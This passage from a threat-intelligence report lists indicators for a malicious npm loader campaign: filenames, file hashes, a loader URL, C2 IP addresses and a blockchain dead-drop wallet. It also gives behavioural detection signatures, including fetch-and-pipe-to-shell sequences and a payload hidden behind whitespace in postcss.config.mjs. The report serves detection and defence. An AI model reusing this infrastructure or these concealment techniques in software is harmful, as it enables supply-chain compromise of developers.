Loader filename	`indexe.cjs`	64 copies located; no benign public occurrence
Second build	`indexe.js`	Nine copies, about 200 bytes larger, three variants. Unlike indexe.cjs this filename is NOT safe to match on its own: it is dominated by an unrelated database project's test file. Confirm every hit against the loader line below
Loader line	`primevector-app924560.vercel.app/api/key?mem=`	Line 3320. Match with the tag wildcarded
Campaign tags	`g1028  g0115  g213515  ghappier`	Batch identifiers, not victim identifiers
Loader SHA-256, tag g1028	`4e1c1b0d2cfc72c9c4f3742e64630f0a2f2e835f197d17a90b6d752310bb0bbc`	22 copies, 99,680 bytes
Loader SHA-256, tag g0115	`b7c0eac8030f829388f4205d2a4c58298f63ec6672db19702dd6b3bbd08cdebd`	20 copies, 99,680 bytes. The loader in the repository that also held the blockchain payload
Loader SHA-256, tag g213515	`e5c7ee2c1a3a2e8ca4a0ccda8376e387f25e410b0ca9550e870694e65c145b4c`	9 copies, 99,682 bytes

Indicator	Value	Note
Loader SHA-256, tag ghappier	f2c8234c00b1f5b0b135534bf51207dc0239647890b73531996d60c90cf9e866	5 copies, plus the copy inside @dforge-core/dforge-mcp 0.2.21. 99,683 bytes
Dead-drop wallet	0xa322e5f3d311d3080e6f0121063e9adc2490ef1a	Published NullReceiver indicator. Read-only; watching it is passive
Dead-drop recipient	0xc1f79026c1f7902668656c6c6f6970626f742121	The encoded configuration, not an account
Decoded C2	193.247.144.38	Current at 2026-09-16. Both primary and secondary
Decoded C2, previous	166.88.73.46	2026-08-30 to 2026-09-03
Marker string	helloipbot!!	Trailing bytes of every dead-drop recipient seen
Resolver hosts	1rpc.io eth.drpc.org ethereum-rpc.publicnode.com eth-mainnet.public.blastapi.io eth.blockscout.com	Legitimate services. Alert, do not block. A Node process on a workstation with no cryptocurrency role resolving these is the signal
Resolver override	ETH_RPC_URL	Environment variable consulted before the list above
Second payload, appended to a legitimate file	postcss.config.mjs	The file itself is legitimate and present in most front-end projects. Only its tail is malicious: the payload is appended behind roughly 509 spaces on the line holding the closing export, so it is invisible without scrolling right

Table 20. Campaign-level indicators, distinct from the carrier's own. The wallet and the two addresses derived from it can be checked by anyone against the public ledger; doing so discloses nothing to the operator.

Behavioural signatures

Sequence	Note
Module load, then outbound TLS to a *.vercel.app host, then bash -c with a pipe to sh	The stage 1 to 2 transition. No install hook is involved
Node runtime downloaded from nodejs.org into a user Downloads directory, then executed from there	Stage 3. Anomalous on any managed host
node executing a script from a dot-directory under $HOME, holding a long-lived TCP connection to a bare IP on a high port	Stage 4 steady state
A script writing to $HOME/.config or %APPDATA%, chmod, nohup, then deleting itself	Stage 2 on any platform
package.json main or bin repointed to a new file in a single release	The compromise itself, visible in a diff without reading code

Table 21. These outlive both the hostnames and the hashes and are the detections worth building. The first is the cheapest to implement and the hardest for the operator to avoid, because the fetch-and-eval is the whole design. The last would have caught this at publication time.

We **Predict** Cyber Threats **Before They Strike**

Registered Office:

CloudSEK Research Pte. Ltd.
160 Robinson Road, #20-03, Singapore Business Federation Center, Singapore - 068914

Regional Office : India

CloudSEK Information Security Pvt Ltd.
16/1, Cambridge Rd, Halasuru, Cambridge Layout, Jogupalya, Bengaluru, Karnataka - 560008

Regional Office : United States

CloudSEK Inc.
8 The Green, Ste A, Dover, DE - 19901, United States

Regional Office : United Kingdom

CloudSEK, 2 Kingdom Street,
6th Floor London, W2 6BD - United Kingdom